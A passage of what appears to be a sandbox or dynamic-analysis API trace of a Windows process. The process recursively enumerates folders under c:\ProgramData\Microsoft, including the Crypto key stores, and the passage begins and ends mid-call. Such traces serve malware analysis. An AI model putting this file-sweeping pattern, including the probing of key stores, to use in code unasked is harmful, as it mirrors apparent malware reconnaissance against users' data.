lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" [0040.197] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned 58 [0040.197] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.197] lstrcmpW (lpString1="DeploymentConfig.1.xml", lpString2=".") returned 1 [0040.197] lstrcmpW (lpString1="DeploymentConfig.1.xml", lpString2="..") returned 1 [0040.197] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0040.197] lstrlenW (lpString="DeploymentConfig.1.xml") returned 22 [0040.197] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="DeploymentConfig.1.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" [0040.197] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned 58 [0040.197] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.197] lstrcmpW (lpString1="DeploymentConfig.2.xml", lpString2=".") returned 1 [0040.197] lstrcmpW (lpString1="DeploymentConfig.2.xml", lpString2="..") returned 1 [0040.197] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0040.197] lstrlenW (lpString="DeploymentConfig.2.xml") returned 22 [0040.197] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="DeploymentConfig.2.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" [0040.197] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned 58 [0040.197] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.197] lstrcmpW (lpString1="FCE80778-F5A2-48B5-BF04-93D6E887CBA7", lpString2=".") returned 1 [0040.197] lstrcmpW (lpString1="FCE80778-F5A2-48B5-BF04-93D6E887CBA7", lpString2="..") returned 1 [0040.197] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0040.197] lstrlenW (lpString="FCE80778-F5A2-48B5-BF04-93D6E887CBA7") returned 36 [0040.197] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="FCE80778-F5A2-48B5-BF04-93D6E887CBA7" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\FCE80778-F5A2-48B5-BF04-93D6E887CBA7") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\FCE80778-F5A2-48B5-BF04-93D6E887CBA7" [0040.197] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.197] lstrcmpW (lpString1="MachineData", lpString2=".") returned 1 [0040.197] lstrcmpW (lpString1="MachineData", lpString2="..") returned 1 [0040.197] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0040.197] lstrlenW (lpString="MachineData") returned 11 [0040.197] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="MachineData" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\MachineData") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\MachineData" [0040.197] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.198] lstrcmpW (lpString1="ProductReleases", lpString2=".") returned 1 [0040.198] lstrcmpW (lpString1="ProductReleases", lpString2="..") returned 1 [0040.198] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0040.198] lstrlenW (lpString="ProductReleases") returned 15 [0040.198] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="ProductReleases" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases" [0040.198] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.198] lstrcmpW (lpString1="UserData", lpString2=".") returned 1 [0040.198] lstrcmpW (lpString1="UserData", lpString2="..") returned 1 [0040.198] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0040.198] lstrlenW (lpString="UserData") returned 8 [0040.198] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="UserData" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\UserData") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\UserData" [0040.198] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.198] lstrcmpW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2=".") returned 1 [0040.198] lstrcmpW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="..") returned 1 [0040.198] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0040.198] lstrlenW (lpString="{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 38 [0040.198] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0040.198] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.198] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.198] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.198] lstrcmpW (lpString1="Crypto", lpString2=".") returned 1 [0040.198] lstrcmpW (lpString1="Crypto", lpString2="..") returned 1 [0040.198] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.198] lstrlenW (lpString="Crypto") returned 6 [0040.198] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Crypto" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto") returned="c:\\ProgramData\\Microsoft\\Crypto" [0040.198] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\") returned="c:\\ProgramData\\Microsoft\\Crypto\\" [0040.198] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Crypto\\") returned 32 [0040.198] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\*") returned="c:\\ProgramData\\Microsoft\\Crypto\\*" [0040.198] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.198] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.198] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.198] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.198] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.198] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.198] lstrcmpW (lpString1="DSS", lpString2=".") returned 1 [0040.198] lstrcmpW (lpString1="DSS", lpString2="..") returned 1 [0040.198] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Crypto\\") returned 32 [0040.198] lstrlenW (lpString="DSS") returned 3 [0040.198] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\", lpString2="DSS" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="c:\\ProgramData\\Microsoft\\Crypto\\DSS" [0040.198] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.198] lstrcmpW (lpString1="Keys", lpString2=".") returned 1 [0040.198] lstrcmpW (lpString1="Keys", lpString2="..") returned 1 [0040.198] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Crypto\\") returned 32 [0040.198] lstrlenW (lpString="Keys") returned 4 [0040.198] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\", lpString2="Keys" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="c:\\ProgramData\\Microsoft\\Crypto\\Keys" [0040.198] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.198] lstrcmpW (lpString1="RSA", lpString2=".") returned 1 [0040.198] lstrcmpW (lpString1="RSA", lpString2="..") returned 1 [0040.198] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Crypto\\") returned 32 [0040.199] lstrlenW (lpString="RSA") returned 3 [0040.199] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\", lpString2="RSA" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="c:\\ProgramData\\Microsoft\\Crypto\\RSA" [0040.199] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.199] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.199] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.199] lstrcmpW (lpString1="Device Stage", lpString2=".") returned 1 [0040.199] lstrcmpW (lpString1="Device Stage", lpString2="..") returned 1 [0040.199] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.199] lstrlenW (lpString="Device Stage") returned 12 [0040.199] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Device Stage" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage") returned="c:\\ProgramData\\Microsoft\\Device Stage" [0040.199] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Device Stage", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\") returned="c:\\ProgramData\\Microsoft\\Device Stage\\" [0040.199] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Device Stage\\") returned 38 [0040.199] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\*") returned="c:\\ProgramData\\Microsoft\\Device Stage\\*" [0040.199] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.199] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.199] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.199] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.199] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.199] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.199] lstrcmpW (lpString1="Device", lpString2=".") returned 1 [0040.199] lstrcmpW (lpString1="Device", lpString2="..") returned 1 [0040.199] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Device Stage\\") returned 38 [0040.199] lstrlenW (lpString="Device") returned 6 [0040.199] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\", lpString2="Device" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="c:\\ProgramData\\Microsoft\\Device Stage\\Device" [0040.199] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.199] lstrcmpW (lpString1="Task", lpString2=".") returned 1 [0040.199] lstrcmpW (lpString1="Task", lpString2="..") returned 1 [0040.199] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Device Stage\\") returned 38 [0040.199] lstrlenW (lpString="Task") returned 4 [0040.199] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\", lpString2="Task" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="c:\\ProgramData\\Microsoft\\Device Stage\\Task" [0040.199] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.199] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.199] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.199] lstrcmpW (lpString1="DeviceSync", lpString2=".") returned 1 [0040.199] lstrcmpW (lpString1="DeviceSync", lpString2="..") returned 1 [0040.199] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.199] lstrlenW (lpString="DeviceSync") returned 10 [0040.199] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="DeviceSync" | out: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync") returned="c:\\ProgramData\\Microsoft\\DeviceSync" [0040.199] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync\\") returned="c:\\ProgramData\\Microsoft\\DeviceSync\\" [0040.199] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\DeviceSync\\") returned 36 [0040.199] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync\\*") returned="c:\\ProgramData\\Microsoft\\DeviceSync\\*" [0040.199] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.199] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.200] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.200] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.200] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.200] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.200] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.200] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.200] lstrcmpW (lpString1="DRM", lpString2=".") returned 1 [0040.200] lstrcmpW (lpString1="DRM", lpString2="..") returned 1 [0040.200] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.200] lstrlenW (lpString="DRM") returned 3 [0040.200] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="DRM" | out: lpString1="c:\\ProgramData\\Microsoft\\DRM") returned="c:\\ProgramData\\Microsoft\\DRM" [0040.200] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DRM", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\DRM\\") returned="c:\\ProgramData\\Microsoft\\DRM\\" [0040.200] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\DRM\\") returned 29 [0040.200] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DRM\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\DRM\\*") returned="c:\\ProgramData\\Microsoft\\DRM\\*" [0040.200] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.200] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.200] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.200] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.200] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.200] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.200] lstrcmpW (lpString1="Server", lpString2=".") returned 1 [0040.200] lstrcmpW (lpString1="Server", lpString2="..") returned 1 [0040.200] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\DRM\\") returned 29 [0040.200] lstrlenW (lpString="Server") returned 6 [0040.200] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DRM\\", lpString2="Server" | out: lpString1="c:\\ProgramData\\Microsoft\\DRM\\Server") returned="c:\\ProgramData\\Microsoft\\DRM\\Server" [0040.200] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.200] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.200] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.200] lstrcmpW (lpString1="eHome", lpString2=".") returned 1 [0040.200] lstrcmpW (lpString1="eHome", lpString2="..") returned 1 [0040.200] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.200] lstrlenW (lpString="eHome") returned 5 [0040.200] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="eHome" | out: lpString1="c:\\ProgramData\\Microsoft\\eHome") returned="c:\\ProgramData\\Microsoft\\eHome" [0040.200] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\eHome", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\eHome\\") returned="c:\\ProgramData\\Microsoft\\eHome\\" [0040.200] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\eHome\\") returned 31 [0040.200] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\eHome\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\eHome\\*") returned="c:\\ProgramData\\Microsoft\\eHome\\*" [0040.200] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.200] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.200] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.200] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.200] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.200] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.201] lstrcmpW (lpString1="logs", lpString2=".") returned 1 [0040.201] lstrcmpW (lpString1="logs", lpString2="..") returned 1 [0040.201] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\eHome\\") returned 31 [0040.201] lstrlenW (lpString="logs") returned 4 [0040.201] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\eHome\\", lpString2="logs" | out: lpString1="c:\\ProgramData\\Microsoft\\eHome\\logs") returned="c:\\ProgramData\\Microsoft\\eHome\\logs" [0040.201] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.201] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.201] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.201] lstrcmpW (lpString1="Event Viewer", lpString2=".") returned 1 [0040.201] lstrcmpW (lpString1="Event Viewer", lpString2="..") returned 1 [0040.201] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.201] lstrlenW (lpString="Event Viewer") returned 12 [0040.201] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Event Viewer" | out: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer") returned="c:\\ProgramData\\Microsoft\\Event Viewer" [0040.201] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\") returned="c:\\ProgramData\\Microsoft\\Event Viewer\\" [0040.201] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Event Viewer\\") returned 38 [0040.201] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\*") returned="c:\\ProgramData\\Microsoft\\Event Viewer\\*" [0040.201] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.201] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.201] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.201] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.201] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.201] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.201] lstrcmpW (lpString1="Views", lpString2=".") returned 1 [0040.201] lstrcmpW (lpString1="Views", lpString2="..") returned 1 [0040.201] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Event Viewer\\") returned 38 [0040.201] lstrlenW (lpString="Views") returned 5 [0040.201] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\", lpString2="Views" | out: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="c:\\ProgramData\\Microsoft\\Event Viewer\\Views" [0040.201] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.201] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.201] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.201] lstrcmpW (lpString1="IdentityCRL", lpString2=".") returned 1 [0040.201] lstrcmpW (lpString1="IdentityCRL", lpString2="..") returned 1 [0040.201] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.201] lstrlenW (lpString="IdentityCRL") returned 11 [0040.201] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="IdentityCRL" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL") returned="c:\\ProgramData\\Microsoft\\IdentityCRL" [0040.201] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\" [0040.201] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\") returned 37 [0040.201] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\*") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\*" [0040.201] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.201] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.201] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.201] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.201] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.202] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.202] lstrcmpW (lpString1="ppcrlconfig.dll", lpString2=".") returned 1 [0040.202] lstrcmpW (lpString1="ppcrlconfig.dll", lpString2="..") returned 1 [0040.202] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\") returned 37 [0040.202] lstrlenW (lpString="ppcrlconfig.dll") returned 15 [0040.202] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\", lpString2="ppcrlconfig.dll" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" [0040.202] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned 52 [0040.202] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.202] lstrcmpW (lpString1="ppcrlui.dll", lpString2=".") returned 1 [0040.202] lstrcmpW (lpString1="ppcrlui.dll", lpString2="..") returned 1 [0040.202] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\") returned 37 [0040.202] lstrlenW (lpString="ppcrlui.dll") returned 11 [0040.202] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\", lpString2="ppcrlui.dll" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll" [0040.202] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned 48 [0040.202] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.202] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.202] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.202] lstrcmpW (lpString1="Media Player", lpString2=".") returned 1 [0040.202] lstrcmpW (lpString1="Media Player", lpString2="..") returned 1 [0040.202] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.202] lstrlenW (lpString="Media Player") returned 12 [0040.202] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Media Player" | out: lpString1="c:\\ProgramData\\Microsoft\\Media Player") returned="c:\\ProgramData\\Microsoft\\Media Player" [0040.202] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Media Player", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Media Player\\") returned="c:\\ProgramData\\Microsoft\\Media Player\\" [0040.202] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Media Player\\") returned 38 [0040.202] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Media Player\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Media Player\\*") returned="c:\\ProgramData\\Microsoft\\Media Player\\*" [0040.202] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Media Player\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.202] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.202] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.202] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.202] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.202] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.202] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.202] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.202] lstrcmpW (lpString1="MF", lpString2=".") returned 1 [0040.202] lstrcmpW (lpString1="MF", lpString2="..") returned 1 [0040.202] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0040.202] lstrlenW (lpString="MF") returned 2 [0040.202] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="MF" | out: lpString1="c:\\ProgramData\\Microsoft\\MF") returned="c:\\ProgramData\\Microsoft\\MF" [0040.202] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\MF", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\") returned="c:\\ProgramData\\Microsoft\\MF\\" [0040.202] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\") returned 28 [0040.202] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\MF\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\*") returned="c:\\ProgramData\\Microsoft\\MF\\*" [0040.202] FindFirstFileW (in: 